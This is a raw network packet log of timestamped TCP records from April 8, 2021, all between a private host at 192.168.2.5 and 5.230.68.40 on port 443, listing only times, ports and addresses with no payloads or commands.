Apr 8, 2021 18:46:36.028320074 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028351068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028379917 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028393984 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028418064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028454065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028466940 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028493881 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028532028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028542995 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028570890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028606892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028619051 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028645992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028682947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028693914 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028722048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028758049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028763056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028795004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028837919 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028841972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028873920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028909922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028914928 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028948069 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028984070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029023886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029025078 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029067039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029069901 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029113054 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029154062 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029155016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029201031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029244900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029248953 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029299021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029340029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029342890 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029377937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029424906 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029439926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029480934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029517889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029540062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029561996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029589891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029608011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029633045 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029648066 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029668093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029706955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029742956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029757977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029782057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029818058 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029825926 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029858112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029894114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029920101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029932976 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029959917 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.029963017 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.029997110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030035019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030071974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030081987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030108929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030111074 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030165911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030210018 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030217886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030263901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030313015 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030368090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030388117 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030402899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030467033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030493021 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030495882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030512094 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030536890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030575037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030611038 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030615091 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030649900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030687094 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030690908 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030725002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030761003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030766964 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030808926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030846119 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030853033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030884981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030921936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030925035 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.030960083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.030991077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031006098 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031029940 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031030893 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031069994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031106949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031147957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031153917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031186104 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031187057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031225920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031261921 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031302929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031315088 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031342030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031352997 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031380892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031418085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031455040 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031465054 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031486034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031496048 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031528950 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031567097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031605005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031608105 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031627893 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031650066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031706095 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031718016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031759024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031795979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031824112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031850100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031892061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031929970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031944990 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031968117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.031969070 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.031999111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032033920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032071114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032075882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032109022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032109976 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032147884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032185078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032221079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032253981 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032269955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032270908 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032327890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032368898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032371998 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032407999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032445908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032490015 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032511950 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032555103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032587051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032608986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032640934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032669067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032723904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032768965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032769918 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032807112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032849073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032850027 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032902002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.032948017 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.032964945 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.033018112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.033056974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.033058882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.033090115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.033159971 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.202526093 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.222359896 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769227982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769243002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769268990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769293070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769352913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769368887 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.769404888 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.769406080 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769434929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769452095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769515991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769530058 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769572973 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.769582987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.769597054 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.769601107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769659042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769676924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.769745111 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.787412882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787535906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787574053 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.787589073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787659883 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.787677050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787750959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787781954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787812948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787842989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.787848949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787883043 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.787883043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787915945 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787946939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787986040 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.787992001 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.788012028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.788018942 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.788074970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.814021111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814167023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814228058 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814258099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814287901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814316988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814337969 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814373970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814379930 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.814407110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814440966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814460039 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.814471960 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814500093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814518929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814543962 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.814557076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814594030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814626932 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814659119 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814659119 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.814697027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814707041 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.814729929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814749002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814769030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814795017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814814091 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.814832926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.814918995 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.815135002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.815154076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.815162897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.815188885 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.815229893 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.815332890 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.834912062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.834939957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.834961891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835094929 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.835158110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835175037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835200071 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835244894 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.835266113 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835309029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.835427999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835444927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835470915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835489035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835503101 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.835527897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835531950 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.835560083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.835611105 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.863859892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.863876104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.863900900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.863931894 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.863953114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.863976955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.863986015 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.863995075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.864012957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.864015102 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.864018917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.864036083 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.864037037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.864059925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.864095926 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.864120007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.864140034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.864180088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.864200115 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.864240885 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.875724077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.875791073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.875823975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.875855923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.875883102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.875917912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.875924110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.875953913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.875972033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.875977993 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.875982046 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876015902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876043081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876045942 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876075029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876100063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876115084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876122952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876144886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876167059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876199007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876211882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876235962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876252890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876260042 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876277924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876312971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876332998 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876342058 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876369953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876379967 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876401901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876430035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876431942 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876460075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876480103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876487970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876513004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876529932 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876542091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876570940 CEST	443	49727	5.230.68.40	192.168.2.5
